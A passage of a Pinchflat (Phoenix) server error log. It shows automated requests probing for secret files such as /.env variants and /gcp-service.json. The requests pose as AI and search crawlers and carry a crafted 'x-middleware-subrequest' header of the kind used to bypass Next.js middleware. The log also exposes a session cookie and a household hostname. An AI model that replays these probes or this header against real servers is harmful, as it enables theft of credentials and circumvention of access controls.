11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29548.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gcp-service.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33490}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /gcp-service (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29548.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gcp-service.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33490}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, (truncated) 16:49:05.427 [info] GET /.env 16:49:05.428 [debug] QUERY OK source="settings" db=0.0ms idle=128.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.428 [debug] QUERY OK source="settings" db=0.0ms idle=119.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.428 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.428 [error] #PID<0.29551.0> running PinchflatWeb.Endpoint (connection #PID<0.29550.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29550.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33496}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29551.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61TYF3AsBmvAABvoB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29550.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33496}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29550.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33496}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, (truncated) 16:49:05.440 [info] GET /.env.production 16:49:05.440 [debug] QUERY OK source="settings" db=0.0ms idle=131.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.440 [debug] QUERY OK source="settings" db=0.0ms idle=108.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.440 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.441 [info] GET /.env.local 16:49:05.441 [info] GET /.env.example 16:49:05.441 [debug] QUERY OK source="settings" db=0.1ms idle=109.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.441 [debug] QUERY OK source="settings" db=0.2ms idle=13.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.441 [debug] QUERY OK source="settings" db=0.1ms idle=13.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.441 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.442 [debug] QUERY OK source="settings" db=0.2ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.442 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.440 [error] #PID<0.29553.0> running PinchflatWeb.Endpoint (connection #PID<0.29552.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.production ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29552.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33512}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "CCBot/2.0 (https://commoncrawl.org/faq/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29553.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "CCBot/2.0 (https://commoncrawl.org/faq/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.env.production", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61TbEPXlcNmYABvoh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29552.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33512}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "CCBot/2.0 (https://commoncrawl.org/faq/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29552.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33512}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "CCBot/2.0 (https://commoncrawl.org/faq/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, (truncated) 16:49:05.442 [error] #PID<0.29556.0> running PinchflatWeb.Endpoint (connection #PID<0.29554.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33516}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29556.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.env.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61TbS6bSQD20ABvpB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33516}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33516}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body (truncated) 16:49:05.442 [error] #PID<0.29557.0> running PinchflatWeb.Endpoint (connection #PID<0.29555.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.example ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29555.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.example", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33532}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => 